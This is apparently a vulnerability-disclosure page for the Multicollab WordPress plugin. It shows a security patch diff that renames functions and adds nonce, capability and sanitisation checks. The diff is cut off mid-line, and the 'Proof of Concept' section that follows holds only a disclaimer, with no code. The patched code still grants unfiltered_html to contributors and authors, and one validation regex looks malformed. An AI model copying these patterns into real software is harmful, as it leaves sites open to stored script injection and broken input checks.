+			'thread'          => isset( $item['thread'] ) ? (string) $item['thread'] : '',
+			'assigned'        => isset( $item['assigned'] ) ? absint( $item['assigned'] ) : 0,
+			'attachmentText'  => isset( $item['attachmentText'] ) ? (string) $item['attachmentText'] : '',
+		);
+	}
+
+	/**
+	 * Read _autodraft_ids array from POST: array of short alphanumeric-ish strings.
+	 *
+	 * @return array
+	 */
+	private function multicollab_sanitize_autodraft_ids_from_post() {
+		$raw = filter_input(
+			INPUT_POST,
+			'data',
+			FILTER_DEFAULT,
+			array( 'flags' => FILTER_REQUIRE_ARRAY )
+		);
+		if ( ! is_array( $raw ) ) {
+			return array();
+		}
+		$raw = wp_unslash( $raw );
+		$out = array();
+		foreach ( $raw as $id ) {
+			$id = is_scalar( $id ) ? sanitize_text_field( (string) $id ) : '';
+			if ( $id && preg_match( '/^[A-Za-z0-9_-:.]+$/', $id ) ) {
+				$out[] = $id;
+			}
+		}
+		return $out;
+	}
+
+	/**
+	 * Parse and validate elIDs query param (JSON array of block/meta id fragments).
+	 *
+	 * @param mixed $raw Raw elIDs value from REST request or query string.
+	 * @return array
+	 */
+	private function multicollab_sanitize_el_ids_param( $raw ) {
+		if ( null === $raw || '' === $raw ) {
+			return array();
+		}
+		if ( ! is_string( $raw ) ) {
+			return array();
+		}
+		$raw     = wp_check_invalid_utf8( $raw, true );
+		$decoded = json_decode( $raw, true );
+		if ( JSON_ERROR_NONE !== json_last_error() || ! is_array( $decoded ) || empty( $decoded ) ) {
+			return array();
+		}
+		$out = array();
+		foreach ( $decoded as $el_id ) {
+			if ( is_array( $el_id ) || is_object( $el_id ) ) {
+				continue;
+			}
+			$el = sanitize_text_field( (string) $el_id );
+			if ( $el && preg_match( '/^[A-Za-z0-9_-]+$/', $el ) ) {
+				$out[] = $el;
+			}
+		}
+		return $out;
+	}
+
+	/**
+	 * Sanitize post meta id / block id key from POST.
+	 *
+	 * @return string
+	 */
+	private function multicollab_sanitize_post_meta_id_from_post( $key ) {
+		// phpcs:disable WordPress.Security.NonceVerification.Missing -- Caller runs check_ajax_referer() before using this helper.
+		if ( ! isset( $_POST[ $key ] ) ) {
+			return '';
+		}
+		$val = sanitize_text_field( wp_unslash( $_POST[ $key ] ) );
+		// phpcs:enable WordPress.Security.NonceVerification.Missing
+		$val = substr( $val, 0, 191 );
+		if ( $val && ! preg_match( '/^[A-Za-z0-9_-]+$/', $val ) ) {
+			return '';
+		}
+		return $val;
+	}
+
+	/**
 	 * Initialize the class and set its properties.
 	 *
 	 * @param string $plugin_name The name of this plugin.
@@ -65,63 +218,63 @@
 		$this->version     = $version;

 		// Publish Comments on status change.
-		add_action( 'post_updated', array( $this, 'cf_post_status_changes' ), 10, 3 );
+		add_action( 'post_updated', array( $this, 'multicollab_post_status_changes' ), 10, 3 );
 		// Update caps for authors and contributors.
-		add_filter( 'admin_init', array( $this, 'cf_custom_caps' ) );
+		add_filter( 'admin_init', array( $this, 'multicollab_custom_caps' ) );

 		// Allow caps for Multisite environment.
-		add_filter( 'map_meta_cap', array( $this, 'cf_add_unfiltered_html_capability_to_users' ), 1, 3 );
+		add_filter( 'map_meta_cap', array( $this, 'multicollab_add_unfiltered_html_capability_to_users' ), 1, 4 );

 		// Action to add setting page.
-		add_action( 'admin_menu', array( $this, 'cf_add_setting_page' ) );
+		add_action( 'admin_menu', array( $this, 'multicollab_add_setting_page' ) );

 		// Adding new column to the posts list.
-		add_filter( 'manage_posts_columns', array( $this, 'cf_columns_head' ) );
-		add_filter( 'manage_pages_columns', array( $this, 'cf_columns_head' ) );
+		add_filter( 'manage_posts_columns', array( $this, 'multicollab_columns_head' ) );
+		add_filter( 'manage_pages_columns', array( $this, 'multicollab_columns_head' ) );

 		// Adding content in a column of posts list.
-		add_action( 'manage_posts_custom_column', array( $this, 'cf_columns_content' ), 10, 2 );
-		add_action( 'manage_pages_custom_column', array( $this, 'cf_columns_content' ), 10, 2 );
+		add_action( 'manage_posts_custom_column', array( $this, 'multicollab_columns_content' ), 10, 2 );
+		add_action( 'manage_pages_custom_column', array( $this, 'multicollab_columns_content' ), 10, 2 );

 		// Make custom comments columns sortable.
-		add_filter( 'manage_edit-post_sortable_columns', array( $this, 'cf_sortable_comments_column' ) );
-		add_filter( 'manage_edit-page_sortable_columns', array( $this, 'cf_sortable_comments_column' ) );
+		add_filter( 'manage_edit-post_sortable_columns', array( $this, 'multicollab_sortable_comments_column' ) );
+		add_filter( 'manage_edit-page_sortable_columns', array( $this, 'multicollab_sortable_comments_column' ) );

 		// Set query to sort.
-		add_action( 'pre_get_posts', array( $this, 'cf_sort_custom_column_query' ) );
+		add_action( 'pre_get_posts', array( $this, 'multicollab_sort_custom_column_query' ) );

 		// Remove the mdspan tage from the front content.
-		add_filter( 'the_content', array( $this, 'cf_removeMdspan' ) );
+		add_filter( 'the_content', array( $this, 'multicollab_removeMdspan' ) );

 		// Add untitled when page/post title blank
-		add_filter( 'the_title', array( $this, 'cf_post_title' ) );
+		add_filter( 'the_title', array( $this, 'multicollab_post_title' ) );

 		// Add user role to WordPress users api
-		add_action( 'rest_api_init', array( $this, 'create_api_user_meta_field_for_userrole' ) );
+		add_action( 'rest_api_init', array( $this, 'multicollab_register_rest_user_role_field' ) );

 		// clear output buffer on init hook.
-		add_action( 'init', array( $this, 'cf_app_output_buffer' ) );
+		add_action( 'init', array( $this, 'multicollab_app_output_buffer' ) );

-		add_action( 'admin_footer', array( $this, 'cf_free_admin_edit_post_feedback_form' ) );
+		add_action( 'admin_footer', array( $this, 'multicollab_free_admin_edit_post_feedback_form' ) );

-		add_action( 'wp_ajax_cf_free_plugin_wizard_submit', array( $this, 'cf_free_plugin_wizard_submit' ) );
+		add_action( 'wp_ajax_multicollab_free_plugin_wizard_submit', array( $this, 'multicollab_free_plugin_wizard_submit' ) );

-		add_action( 'cf_free_plugin_usage_data', array( $this, 'cf_free_plugin_usage_data_callback_function' ) );
+		add_action( 'multicollab_free_plugin_usage_data', array( $this, 'multicollab_free_plugin_usage_data_callback_function' ) );

-		add_filter( 'admin_body_class', array( $this, 'cf_admin_classes' ) );
+		add_filter( 'admin_body_class', array( $this, 'multicollab_admin_classes' ) );

 		$allow_pages = array( 'edit.php', 'post-new.php', 'post.php' );
 		if ( in_array( $pagenow, $allow_pages, true ) ) {
-			add_action( 'admin_notices', array( $this, 'cf_display_promotional_banner_page_post' ) );
+			add_action( 'admin_notices', array( $this, 'multicollab_display_promotional_banner_page_post' ) );
 		}

-		add_action( 'admin_notices', array( $this, 'cf_show_editor_notice' ) );
+		add_action( 'admin_notices', array( $this, 'multicollab_show_editor_notice' ) );

-		add_filter( 'cron_schedules', array( $this, 'cf_free_cron_job_recurrence' ) );
-		add_filter( 'plugin_action_links_' . COMMENTING_BLOCK_BASE, array( $this, 'cf_custom_plugin_action_links' ), 10, 4 );
-		add_filter( 'register_block_type_args', array( $this, 'cf_modify_block_type_args_defaults' ), 10, 2 );
-		add_filter( 'wp_kses_allowed_html', array( $this, 'cf_add_allowed_iframe_tag' ), 10, 2 );
-		add_action( 'wp_ajax_cf_set_welcome_tour_completed', array( $this, 'cf_set_welcome_tour_completed' ) );
+		add_filter( 'cron_schedules', array( $this, 'multicollab_free_cron_job_recurrence' ) );
+		add_filter( 'plugin_action_links_' . COMMENTING_BLOCK_BASE, array( $this, 'multicollab_custom_plugin_action_links' ), 10, 4 );
+		add_filter( 'register_block_type_args', array( $this, 'multicollab_modify_block_type_args_defaults' ), 10, 2 );
+		add_filter( 'wp_kses_allowed_html', array( $this, 'multicollab_add_allowed_iframe_tag' ), 10, 2 );
+		add_action( 'wp_ajax_multicollab_set_welcome_tour_completed', array( $this, 'multicollab_set_welcome_tour_completed' ) );
 	}

 	/**
@@ -130,9 +283,9 @@
 	 * @param array $schedules An array of non-default cron schedules.
 	 * @return array Filtered array of non-default cron schedules.
 	 */
-	function cf_free_cron_job_recurrence( $schedules ) {
-		$schedules['cf_free_monthly'] = array(
-			'display'  => __( 'Once monthly', 'content-collaboration-inline-commenting' ),
+	public function multicollab_free_cron_job_recurrence( $schedules ) {
+		$schedules['multicollab_free_monthly'] = array(
+			'display'  => __( 'Once monthly', 'commenting-feature' ),
 			'interval' => 2635200,
 		);
 		return $schedules;
@@ -143,9 +296,9 @@
 	 *
 	 * @author Nirav Soni
 	 */
-	public function cf_display_promotional_banner_page_post() {
+	public function multicollab_display_promotional_banner_page_post() {

-			$promotional_banner = cf_dpb_promotional_banner();
+			$promotional_banner = multicollab_dpb_promotional_banner();

 		if ( ! empty( $promotional_banner ) ) {
 			echo $promotional_banner; // phpcs:ignore WordPress.Security.EscapeOutput
@@ -162,7 +315,7 @@
 	 * @author Nirav Soni
 	 *
 	 */
-	public function cf_show_editor_notice() {
+	public function multicollab_show_editor_notice() {
 		global $pagenow;

 		// Exit early if not on the post or page edit screen.
@@ -183,7 +336,7 @@
 		// If not using the Block Editor, show a warning notice.
 		if ( ! $use_block_editor ) {
 			echo '<div class="notice notice-warning is-dismissible">';
-			echo '<p><strong>' . esc_html__( 'Multicollab is not compatible with the Classic Editor. Please switch to the Gutenberg (Block) Editor to use all features of the Multicollab.' ) . '</strong></p>';
+			echo '<p><strong>' . esc_html__( 'Multicollab is not compatible with the Classic Editor. Please switch to the Gutenberg (Block) Editor to use all features of the Multicollab.', 'commenting-feature' ) . '</strong></p>';
 			echo '</div>';
 		}
 	}
@@ -197,10 +350,9 @@
 	 * @param array  $links To add custom link.
 	 * @param string $plugin_file The path to the main plugin file.
 	 */
-	public function cf_custom_plugin_action_links( $links, $plugin_file ) {
+	public function multicollab_custom_plugin_action_links( $links, $plugin_file ) {
 		// Add your custom links.
 		$custom_links = array(
-			'<a href="https://www.multicollab.com/upgrade-to-premium/" style="color:#4abe17" target="_blank">Upgrade to Pro</a>',
 			'<a href="https://docs.multicollab.com/" target="_blank">Documentation</a>',
 		);

@@ -214,21 +366,14 @@
 	 *
 	 * @return void
 	 */
-	public function cf_admin_classes( $classes ) {
+	public function multicollab_admin_classes( $classes ) {

 		$page_type = filter_input( INPUT_GET, 'page', FILTER_SANITIZE_SPECIAL_CHARS );
 		if ( 'multicollab_setup_wizard' === $page_type ) {
 			$classes .= ' cf_fullscreen';
 		}

-		$cf_edd = new CF_EDD();
-		if ( $cf_edd->is__premium_only() ) {
-			$plan_name = esc_html( $cf_edd->get_plan_name() );
-		} else {
-			$plan_name = esc_html( 'FREE' );
-		}
-
-		$classes .= ' multicollab_plan_' . strtolower( $plan_name );
+		$classes .= ' multicollab_plan_free';

 		// Added parent class to body for adding css.
 		$classes .= ' multicollab_body_class ';
@@ -242,7 +387,12 @@
 	 *
 	 * @return void
 	 */
-	public function cf_free_plugin_wizard_submit() {
+	public function multicollab_free_plugin_wizard_submit() {
+
+		check_ajax_referer( 'multi_settings_nonce', 'nonce' );
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_die( -1, '', array( 'response' => 403 ) );
+		}

 		global $wp_version;

@@ -261,14 +411,14 @@
 			$get_plugin_data   = get_plugin_data( WP_PLUGIN_DIR . '/gutenberg/gutenberg.php' );
 			$gutenberg_version = esc_html( $get_plugin_data['Version'] );
 		} else {
-			$gutenberg_version = esc_html( 'Default', 'content-collaboration-inline-commenting' );
+			$gutenberg_version = esc_html( __( 'Default', 'commenting-feature' ) );
 		}

-		update_option( 'cf_opt_in', $opt_in );
+		update_option( 'multicollab_opt_in', $opt_in );

 		// Get multicollab plan details.

-		$multicollab_plan = esc_html( 'FREE', 'content-collaboration-inline-commenting' );
+		$multicollab_plan = esc_html( __( 'FREE', 'commenting-feature' ) );

 		// Get Webserver Name and Version.
 		$server_software        = filter_input( INPUT_SERVER, 'SERVER_SOFTWARE', FILTER_SANITIZE_SPECIAL_CHARS );
@@ -310,7 +460,7 @@
 			'website_url'       => esc_url( get_site_url() ),
 		);

-		$feedback_api_url = CF_STORE_URL . '/wp-json/edd-add-free-user-contact/v2/edd-add-free-user-contact';
+		$feedback_api_url = MULTICOLLAB_STORE_URL . '/wp-json/edd-add-free-user-contact/v2/edd-add-free-user-contact';
 		$query_url        = $feedback_api_url . '?' . http_build_query( $data_insert_array );

 		if ( function_exists( 'vip_safe_wp_remote_get' ) ) {
@@ -319,12 +469,12 @@
 			$response = wp_remote_get( $query_url );   // phpcs:ignore
 		}

-		if ( ! wp_next_scheduled( 'cf_free_plugin_usage_data' ) ) {
-			wp_schedule_event( current_time( 'timestamp' ), 'cf_free_monthly', 'cf_free_plugin_usage_data' );
+		if ( ! wp_next_scheduled( 'multicollab_free_plugin_usage_data' ) ) {
+			wp_schedule_event( current_time( 'timestamp' ), 'multicollab_free_monthly', 'multicollab_free_plugin_usage_data' );
 		}

-		if ( ! wp_next_scheduled( 'cf_daily_license_checker' ) ) {
-			wp_schedule_event( time(), 'daily', 'cf_daily_license_checker' );
+		if ( ! wp_next_scheduled( 'multicollab_daily_license_checker' ) ) {
+			wp_schedule_event( time(), 'daily', 'multicollab_daily_license_checker' );
 		}

 		$args        = array(
@@ -349,7 +499,7 @@
 	 *
 	 * @return void
 	 */
-	public function cf_free_plugin_usage_data_callback_function() {
+	public function multicollab_free_plugin_usage_data_callback_function() {

 		global $wp_version;

@@ -359,12 +509,12 @@
 			$get_plugin_data   = get_plugin_data( WP_PLUGIN_DIR . '/gutenberg/gutenberg.php' );
 			$gutenberg_version = esc_html( $get_plugin_data['Version'] );
 		} else {
-			$gutenberg_version = esc_html( 'Default', 'content-collaboration-inline-commenting' );
+			$gutenberg_version = esc_html( __( 'Default', 'commenting-feature' ) );
 		}

 		// Get multicollab plan details.

-		$multicollab_plan = esc_html( 'FREE', 'content-collaboration-inline-commenting' );
+		$multicollab_plan = esc_html( __( 'FREE', 'commenting-feature' ) );

 		// get WP version.
 		$my_theme = wp_get_theme();
@@ -401,7 +551,7 @@

 			foreach ( $all_posts_id as $id ) {

-				$comments_count_data = $this->cf_get_comment_counts( $id );
+				$comments_count_data = $this->multicollab_get_comment_counts( $id );
 				$comments_counts    += $comments_count_data['total_counts'];

 			}
@@ -424,7 +574,7 @@
 		// commennt of current year
 		$comments_of_year = gmdate( 'Y' );

-		$general_setting     = $this->cf_get_general_settings();
+		$general_setting     = $this->multicollab_get_general_settings();
 		$plugin_advance_data = array(
 			'general_setting'   => $general_setting,
 			'comment_count'     => $comments_counts,
@@ -435,7 +585,7 @@
 			'comments_of_year'  => $comments_of_year,
 		);

-		$cf_opt_in = get_option( 'cf_opt_in' );
+		$cf_opt_in = get_option( 'multicollab_opt_in' );

 		$plugin_basic_data = array(
 			'wordpress_version'   => $wp_version,
@@ -454,7 +604,7 @@
 			'opt_in'              => $cf_opt_in,
 		);

-		$feedback_api_url = CF_STORE_URL . '/wp-json/edd-add-free-user-contact/v2/edd-add-free-user-contact?' . wp_rand();
+		$feedback_api_url = MULTICOLLAB_STORE_URL . '/wp-json/edd-add-free-user-contact/v2/edd-add-free-user-contact?' . wp_rand();
 		$query_url        = $feedback_api_url . '&' . http_build_query( $data_insert_array );

 		if ( function_exists( 'vip_safe_wp_remote_get' ) ) {
@@ -471,7 +621,7 @@
 	 *
 	 * @return void
 	 */
-	public function cf_free_admin_edit_post_feedback_form() {
+	public function multicollab_free_admin_edit_post_feedback_form() {
 		global $pagenow;

 		if ( 'plugins.php' === $pagenow ) {
@@ -486,7 +636,7 @@
 	 *
 	 * @return void
 	 */
-	public function cf_app_output_buffer() {
+	public function multicollab_app_output_buffer() {
 		ob_start();

 		/**
@@ -518,8 +668,8 @@
 	 *
 	 * @return mixed Updated title.
 	 */
-	function cf_post_title( $title ) {
-		return '' === $title ? esc_html_x( 'Untitled', 'Added to posts and pages that are missing titles', 'content-collaboration-inline-commenting' ) : $title;
+	public function multicollab_post_title( $title ) {
+		return '' === $title ? esc_html_x( 'Untitled', 'Added to posts and pages that are missing titles', 'commenting-feature' ) : $title;
 	}

 	/**
@@ -529,7 +679,7 @@
 	 *
 	 * @return mixed Updated content.
 	 */
-	public function cf_removeMdspan( $content ) {
+	public function multicollab_removeMdspan( $content ) {
 		if ( ( is_singular() ) && ( is_main_query() ) ) {
 			$regex       = '#<mdspan(.*?)>#';
 			$replacement = '';
@@ -548,7 +698,7 @@
 	 *
 	 * @return mixed Updated list of columns.
 	 */
-	public function cf_sortable_comments_column( $columns ) {
+	public function multicollab_sortable_comments_column( $columns ) {
 		$columns['cb_comments_status'] = 'sort_by_cf_comments';

 		return $columns;
@@ -559,7 +709,7 @@
 	 *
 	 * @param object $query Query object.
 	 */
-	public function cf_sort_custom_column_query( $query ) {
+	public function multicollab_sort_custom_column_query( $query ) {
 		$orderby = $query->get( 'orderby' );

 		if ( 'sort_by_cf_comments' === $orderby && $query->is_main_query() ) {
@@ -588,15 +738,18 @@
 	 *
 	 * @return array mixed Updated list of default columns.
 	 */
-	public function cf_columns_head( $defaults ) {
+	public function multicollab_columns_head( $defaults ) {
+		if ( ! is_admin() || ! current_user_can( 'edit_posts' ) ) {
+			return $defaults;
+		}
 		$all_post_type            = get_post_types_by_support( array( 'editor' ) );
 		$post_type                = filter_input( INPUT_GET, 'post_type', FILTER_SANITIZE_SPECIAL_CHARS );
 		$post_type                = isset( $post_type ) ? trim( $post_type ) : '';
 		$type                     = get_post_type();
 		$type                     = isset( $type ) ? trim( $type ) : '';
-		$cf_hide_editorial_column = get_option( 'cf_hide_editorial_column' ) !== false
-    								? get_option( 'cf_hide_editorial_column' )
-    								: ( update_option( 'cf_hide_editorial_column', '0' ) ? '0' : '0' );
+		$cf_hide_editorial_column = get_option( 'multicollab_hide_editorial_column' ) !== false
+    								? get_option( 'multicollab_hide_editorial_column' )
+    								: ( update_option( 'multicollab_hide_editorial_column', '0' ) ? '0' : '0' );

 		if ( '0' === $cf_hide_editorial_column ) {
 			if ( ( in_array( $post_type, $all_post_type, true ) ) || ( in_array( $type, $all_post_type, true ) ) ) {
@@ -615,13 +768,12 @@
 	 * @param string $column_name Column name.
 	 * @param int    $post_ID Post ID.
 	 */
-	public function cf_columns_content( $column_name, $post_ID ) {
+	public function multicollab_columns_content( $column_name, $post_ID ) {
 		if ( 'cb_comments_status' === $column_name ) {
-			$comment_counts    = $this->cf_get_comment_counts( $post_ID );
-			$suggestion_counts = $this->cf_get_suggestion_counts( $post_ID );
-			$open_counts       = intval( $comment_counts['open_counts'] ) + intval( $suggestion_counts['open_counts'] );
-			$total_counts      = intval( $comment_counts['total_counts'] ) + intval( $suggestion_counts['total_counts'] );
-			$resolved_total    = $comment_counts['resolved_counts'] + $suggestion_counts['accepted_counts'] + $suggestion_counts['rejected_counts'];
+			$comment_counts    = $this->multicollab_get_comment_counts( $post_ID );
+			$open_counts       = intval( $comment_counts['open_counts'] );
+			$total_counts      = intval( $comment_counts['total_counts'] );
+			$resolved_total    = intval( $comment_counts['resolved_counts'] );
 			$autodraft_total   = $total_counts - ( $open_counts + $resolved_total );
 			$open_counts       = $total_counts - ( $autodraft_total + $resolved_total );

@@ -636,23 +788,21 @@
 	/**
 	 * Add Setting Page.
 	 */
-	public function cf_add_setting_page() {
-		$settings_title = 'Multicollab';
-
+	public function multicollab_add_setting_page() {
 		// Adding a new admin page for MYS
 		add_menu_page(
-			__( esc_html( $settings_title ), 'content-collaboration-inline-commenting' ),
-			__( esc_html( $settings_title ), 'content-collaboration-inline-commenting' ),
+			__( 'Multicollab', 'commenting-feature' ),
+			__( 'Multicollab', 'commenting-feature' ),
 			'manage_options',
 			'editorial-comments',
-			array( $this, 'cf_settings_callback' ),
+			array( $this, 'multicollab_settings_callback' ),
 			COMMENTING_BLOCK_URL . '/admin/assets/images/menu-icon.svg'
 		);

 		add_submenu_page(
 			' ',
-			__( 'Free Wizard', 'textdomain' ),
-			'Multicolab Wizard',
+			__( 'Free Wizard', 'commenting-feature' ),
+			'Multicollab Wizard',
 			'manage_options',
 			'multicollab_setup_wizard',
 			array( $this, 'multicollab_setup_wizard_function' )
@@ -671,41 +821,36 @@
 	/**
 	 * Plugin setting page callback function.
 	 */
-	public function cf_settings_callback() {
+	public function multicollab_settings_callback() {

 		// Add setting page file.
 		require_once COMMENTING_BLOCK_DIR . 'admin/partials/commenting-block-settings-page.php'; // Removed phpcs:ignore by Rishi Shah.
-		require_once COMMENTING_BLOCK_DIR . 'admin/partials/commenting-block-admin-upgrade-premium.php';
 	}

 	/**
 	 * Get the latest comment activities.
 	 */
-	public function cf_get_activities() {
-		require_once COMMENTING_BLOCK_DIR . 'admin/classes/class-commenting-block-activities.php'; // Removed phpcs:ignore by Rishi Shah.
-
-		$this->cf_activities_object = new Commenting_Block_Activities();
-		$this->cf_activities        = $this->cf_activities_object->cf_get_activities();
-	}
-
-	/**
-	 * Get activities code.
-	 */
-	public function cf_get_activity_details() {
+	public function multicollab_get_activities() {
+		if ( wp_doing_ajax() ) {
+			$this->multicollab_verify_ajax_settings_request();
+		}
 		require_once COMMENTING_BLOCK_DIR . 'admin/classes/class-commenting-block-activities.php'; // Removed phpcs:ignore by Rishi Shah.

 		$this->cf_activities_object = new Commenting_Block_Activities();
-		$this->cf_activities        = $this->cf_activities_object->cf_get_detailed_activity();
+		$this->cf_activities        = $this->cf_activities_object->multicollab_get_activities();
 	}

 	/**
 	 * Get activities code.
 	 */
-	public function cf_migrate_to_pro() {
+	public function multicollab_get_activity_details() {
+		if ( wp_doing_ajax() ) {
+			$this->multicollab_verify_ajax_settings_request();
+		}
 		require_once COMMENTING_BLOCK_DIR . 'admin/classes/class-commenting-block-activities.php'; // Removed phpcs:ignore by Rishi Shah.

 		$this->cf_activities_object = new Commenting_Block_Activities();
-		$this->cf_activities        = $this->cf_activities_object->cf_migrate_to_pro_now();
+		$this->cf_activities        = $this->cf_activities_object->multicollab_get_detailed_activity();
 	}

 	/**
@@ -717,7 +862,7 @@
 	 *
 	 * @return array Caps.
 	 */
-	public function cf_add_unfiltered_html_capability_to_users( $caps, $cap, $user_id ) {
+	public function multicollab_add_unfiltered_html_capability_to_users( $caps, $cap, $user_id ) {
 		if ( 'unfiltered_html' === $cap && ( user_can( $user_id, 'administrator' ) || user_can( $user_id, 'editor' ) || user_can( $user_id, 'author' ) || user_can( $user_id, 'contributor' ) ) ) {
 			$caps = array( 'unfiltered_html' );
 		}
@@ -730,7 +875,7 @@
 	 *
 	 * @return bool True always.
 	 */
-	public function cf_custom_caps() {
+	public function multicollab_custom_caps() {
 		$roles = array( 'author', 'contributor' );

 		foreach ( $roles as $role ) {
@@ -748,7 +893,11 @@
 	/**
 	 * Get User Details using AJAX.
 	 */
-	public function cf_get_user() {
+	public function multicollab_get_user() {
+		check_ajax_referer( 'multicollab_block_editor_ajax', 'nonce' );
+		if ( ! is_user_logged_in() || ! current_user_can( 'edit_posts' ) ) {
+			wp_die( -1, '', array( 'response' => 403 ) );
+		}
 		$curr_user = wp_get_current_user();
 		$userID    = $curr_user->ID;
 		$userName  = $curr_user->display_name;
@@ -771,7 +920,7 @@
 	 * @param object/string $post Post Content.
 	 * @param string        $update Status of the update.
 	 */
-	public function cf_post_status_changes( $post_ID, $post ) {
+	public function multicollab_post_status_changes( $post_ID, $post ) {

 		if ( 'revision' === $post->post_type ) {
 			// Get the parent post ID from the revision
@@ -801,7 +950,7 @@
 		$current_timestamp = current_time( 'timestamp' );

 		// Initiate Email Class Object.
-		$this->cf_initiate_email_class();
+		$this->multicollab_initiate_email_class();

 		// Publish Deleted Comments. (i.e. finally delete them.)
 		if ( isset( $current_drafts['deleted'] ) && 0 !== count( $current_drafts['deleted'] ) ) {
@@ -911,7 +1060,7 @@
 		update_post_meta( $post_ID, '_current_drafts', '' );

 		// Update open comments count.
-		$comment_counts = $this->cf_get_comment_counts( $post_ID, $p_content, $metas );
+		$comment_counts = $this->multicollab_get_comment_counts( $post_ID, $p_content, $metas );
 		update_post_meta( $post_ID, 'open_cf_count', $comment_counts['open_counts'] );

 		// Create and Update the last user for summary tab in activity center.
@@ -953,7 +1102,7 @@
 				}

 				// Send email to the commented recipients.
-				$this->email_class->cf_email_new_comments(
+				$this->email_class->multicollab_email_new_comments(
 					array(
 						'post_ID'                   => $post_ID,
 						'elid'                      => $elid,
@@ -976,7 +1125,7 @@
 	/**
 	 * Include the Email template class and initiate the object.
 	 */
-	private function cf_initiate_email_class() {
+	private function multicollab_initiate_email_class() {
 		require_once COMMENTING_BLOCK_DIR . 'admin/classes/class-commenting-block-email-templates.php'; // Removed phpcs:ignore by Rishi Shah.
 		$this->email_class = new Commenting_Block_Email_Templates();
 	}
@@ -987,7 +1136,7 @@
 	 *
 	 * @return string The limited string with '...' appended.
 	 */
-	public function cf_limit_characters( $string, $limit = 100 ) {
+	public function multicollab_limit_characters( $string, $limit = 100 ) {
 		return strlen( $string ) > $limit ? substr( $string, 0, $limit ) . '...' : $string;
 	}

@@ -996,7 +1145,7 @@
 	 *
 	 * @since    1.0.0
 	 */
-	public function cf_enqueue_styles() {
+	public function multicollab_enqueue_styles() {

 		/**
 		 * This function is provided for demonstration purposes only.
@@ -1054,7 +1203,7 @@
 	 *
 	 * @since    1.0.0
 	 */
-	public function cf_enqueue_scripts() {
+	public function multicollab_enqueue_scripts() {

 		/**
 		 * This function is provided for demonstration purposes only.
@@ -1076,34 +1225,36 @@
 		if ( ! empty( $screen ) && 'plugins' === $screen->base && current_user_can( 'activate_plugins' ) ) {
 			wp_localize_script(
 				'wp-deactivation-message',
-				'multicollab_plugin_path',
+				'multicollabPluginDeactivation',
 				array(
 					'plugin_path' => COMMENTING_BLOCK_BASE,
-					'nonce'       => wp_create_nonce( 'multicollab_plugin_path' ),
+					'nonce'       => wp_create_nonce( 'multicollab_plugin_deactivate' ),
 				)
 			);
 		}

-		$cf_edd     = new CF_EDD();
 		$cf_fs_data = array(
-			'current_plan' => $cf_edd->get_plan_name(),
+			'current_plan'           => 'free',
+			'can_use_premium_code'   => false,
+			'is_plan_free'           => true,
+			'is_plan_pro'            => false,
+			'is_plan_lite'           => false,
 		);

 		if ( ( ! empty( $screen ) && $screen->is_block_editor && 'site-editor' !== $screen->base && 'widgets' !== $screen->base ) || ! empty( $screen ) && ( 'toplevel_page_editorial-comments' === $screen->base || 'admin_page_multicollab_setup_wizard' === $screen->base ) ) {
-			wp_enqueue_script( $this->plugin_name, trailingslashit( COMMENTING_BLOCK_URL ) . '/admin/assets/js/commenting-block-admin.js', array( 'jquery', 'wp-components', 'wp-editor', 'wp-data', 'cf-mark', 'cf-dom-purify', 'react', 'react-dom' ), $this->version, false );
-			wp_enqueue_script( 'es5-js', trailingslashit( COMMENTING_BLOCK_URL ) . '/admin/assets/js/libs/commenting-broser-details.js', array( 'jquery' ), $this->version, false );
-			wp_enqueue_script( 'cf-mark', trailingslashit( COMMENTING_BLOCK_URL ) . '/admin/assets/js/libs/mark.min.js', array( 'jquery' ), $this->version, false );
-			wp_enqueue_script( 'cf-dom-purify', trailingslashit( COMMENTING_BLOCK_URL ) . '/admin/assets/js/libs/purify.min.js', array( 'jquery' ), $this->version, false );
-			wp_enqueue_script( $this->plugin_name, trailingslashit( COMMENTING_BLOCK_URL ) . 'admin/assets/js/commenting-block-admin.js', array( 'jquery', 'wp-components', 'wp-editor', 'wp-data', 'wp-i18n', 'cf-mark', 'cf-dom-purify', 'react', 'react-dom' ), $this->version, false );
+			wp_enqueue_script( $this->plugin_name, trailingslashit( COMMENTING_BLOCK_URL ) . '/admin/assets/js/commenting-block-admin.js', array( 'jquery', 'wp-components', 'wp-editor', 'wp-data', 'multicollab-mark', 'multicollab-dom-purify', 'react', 'react-dom' ), $this->version, false );
+			wp_enqueue_script( 'multicollab-mark', trailingslashit( COMMENTING_BLOCK_URL ) . '/admin/assets/js/libs/mark.min.js', array( 'jquery' ), $this->version, false );
+			wp_enqueue_script( 'multicollab-dom-purify', trailingslashit( COMMENTING_BLOCK_URL ) . '/admin/assets/js/libs/purify.min.js', array( 'jquery' ), $this->version, false );
+			wp_enqueue_script( $this->plugin_name, trailingslashit( COMMENTING_BLOCK_URL ) . 'admin/assets/js/commenting-block-admin.js', array( 'jquery', 'wp-components', 'wp-editor', 'wp-data', 'wp-i18n', 'multicollab-mark', 'multicollab-dom-purify', 'react', 'react-dom' ), $this->version, false );
 			wp_enqueue_script( $this->plugin_name . '-functions', trailingslashit( COMMENTING_BLOCK_URL ) . 'admin/assets/js/commenting-block-admin-functions.js', array(), $this->version, false );

 			wp_enqueue_script(
-				'content-collaboration-inline-commenting',
+				'commenting-feature',
 				trailingslashit( COMMENTING_BLOCK_URL ) . 'admin/assets/js/dist/block.build.min.js',
 				array(
 					'jquery',
-					'cf-mark',
-					'cf-dom-purify',
+					'multicollab-mark',
+					'multicollab-dom-purify',
 					'wp-blocks',
 					'wp-i18n',
 					'wp-element',
@@ -1120,26 +1271,27 @@
 				true
 			);

-			if ( 'wp_template' === isset( $_REQUEST['postType'] ) ) { //phpcs:ignore
-				wp_deregister_script( 'content-collaboration-inline-commenting' );
+			$post_type_from_url = filter_input( INPUT_GET, 'postType', FILTER_SANITIZE_SPECIAL_CHARS );
+			if ( 'wp_template' === $post_type_from_url ) {
+				wp_deregister_script( 'commenting-feature' );
 				wp_deregister_script( $this->plugin_name );
 			}
 			$comment_id = filter_input( INPUT_GET, 'comment_id', FILTER_SANITIZE_SPECIAL_CHARS );
 			wp_localize_script(
 				$this->plugin_n

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
